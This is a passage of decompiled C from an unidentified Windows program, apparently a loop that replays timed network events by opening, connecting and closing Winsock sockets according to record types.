ppiVar1 = (int **)*ppiVar1;
}
}
} while (ppiVar3 != DAT_0043146c);
}
return;
}
void __cdecl
FUN_00401370(int *param_1,undefined4 param_2,int *param_3,undefined4 param_4,int *param_5,
undefined4 param_6,double param_7,int *param_8,undefined4 param_9,int *param_10,
undefined4 param_11,DWORD param_12,undefined4 param_13,int *param_14,undefined4 param_15
,int *param_16,undefined4 param_17,double param_18,uint param_19) {
double dVar1;
short sVar2;
int *piVar3;
int iVar4;
int iVar5;
short *psVar6;
undefined4 *puVar7;
undefined8 uVar8;
FUN_00409860();
piVar3 = (int *)GetTickCount();
param_1 = piVar3;
FUN_00401d80();
FUN_004082c0(&DAT_00431468,¶m_1,(int **)*DAT_0043146c,DAT_0043146c);
psVar6 = &DAT_00431480;
do {
param_7 = (double)ZEXT48(piVar3);
dVar1 = *(double *)(psVar6 + 0x1390);
param_1 = (int *)GetTickCount();
dVar1 = dVar1 * 1000.00000000 - ((double)ZEXT48(param_1) - param_7);
if ((ushort)((ushort)(dVar1 < 0.00000000) << 8 | (ushort)(dVar1 == 0.00000000) << 0xe) == 0) {
uVar8 = _ftol();
FUN_00401660((uint)uVar8,(uint)((ulonglong)uVar8 >> 0x20));
}
piVar3 = (int *)GetTickCount();
sVar2 = *psVar6;
if (sVar2 == 2) {
Ordinal_11();
Ordinal_9();
iVar4 = Ordinal_23();
if (iVar4 == -1) {
FUN_00401310();
return;
}
iVar5 = Ordinal_4();
if (iVar5 == -1) {
Ordinal_3();
goto LAB_00401640;
}
param_10 = *(int **)(psVar6 + 2);
FUN_00408390(&DAT_00431468,¶m_14,¶m_10);
param_14[4] = iVar4;
}
else {
if (sVar2 == 3) {
param_5 = *(int **)(psVar6 + 2);
FUN_00408390(&DAT_00431468,(int **)&stack0x0000006c,¶m_5);
Ordinal_3();
}
else {
if (sVar2 == 0) {
iVar4 = 0x9c4;
puVar7 = (undefined4 *)&stack0x00000874;
while (iVar4 != 0) {
iVar4 = iVar4 + -1;
*puVar7 = 0;
puVar7 = puVar7 + 1;
}
FUN_00401190((undefined4 *)(psVar6 + 6),*(uint *)(psVar6 + 4),
(undefined4 *)&stack0x00000874,(char *)register0x00000010,&stack0x00000002);